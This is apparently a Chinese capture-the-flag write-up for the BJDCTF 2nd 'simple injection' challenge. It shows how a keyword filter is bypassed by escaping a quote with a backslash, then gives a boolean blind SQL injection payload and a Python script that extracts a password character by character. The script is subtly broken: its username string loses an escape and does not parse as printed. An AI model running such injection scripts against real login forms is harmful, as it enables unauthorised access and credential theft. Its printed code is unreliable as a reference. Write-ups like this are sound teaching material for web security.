zoukankan      html  css  js  c++  java
  • [BJDCTF 2nd]简单注入

    扫描目录后发现robots.txt

     访问hint.txt

     题目提示了一句SQL语句

    select * from users where username='$_POST["username"]' and password='$_POST["password"]';

    返回首页,输入admin'/admin尝试登陆,发现过滤了单引号

     使用字典测试一下过滤了那些

     发现他过滤了union,select,=,-,and,like,;等关键字,过滤了union select不能使用联合注入,使用报错注入没有回显,考点应该是盲注

     重新回到提示的SQL语句

    select * from users where username='$_POST["username"]' and password='$_POST["password"]';

    我们可以输入admin 和 or 1#,也就是构造如下SQL语句,这样password字段后面的语句便可以逃逸执行

    select * from users where username='admin' and password='or 1#';

    可以发现从You konw ,P3rh4ps needs a girl friend变成了BJD needs to be stronger,存在盲注,这样就可以编写脚本来获取password字段的值

    首先构造核心payLoad:

    'or/**/(ascii(substr(password,{},1))>{})#'.format(i,j)

    完整脚本如下:

    import requests
    
    url = "http://f6cf878f-d201-4590-aa11-0b2e9d4abce5.node3.buuoj.cn/index.php"
    flag = ""
    
    for i in range(1, 50):
        for j in range(32, 126):
            payload = "or/**/(ascii(substr(password,{},1))>{})#".format(i, j)
            data = {"username": "admin\", "password": payload}
            re = requests.post(url, data=data)
            if "P3rh4ps" in re.text:
                flag += chr(j)
                print(flag)
                break

     跑出password后,登陆便可获取到flag

  • 相关阅读:
    序列操作
    上帝造题的七分钟2 / 花神游历各国
    火柴排队
    pair(对组)用法
    线段树
    链上分治
    Rem与Px的转换
    css中单位px和em,rem的区别
    css网页自适应-1
    css网页自适应-2
  • 原文地址:https://www.cnblogs.com/gtx690/p/13321612.html
Copyright © 2011-2022 走看看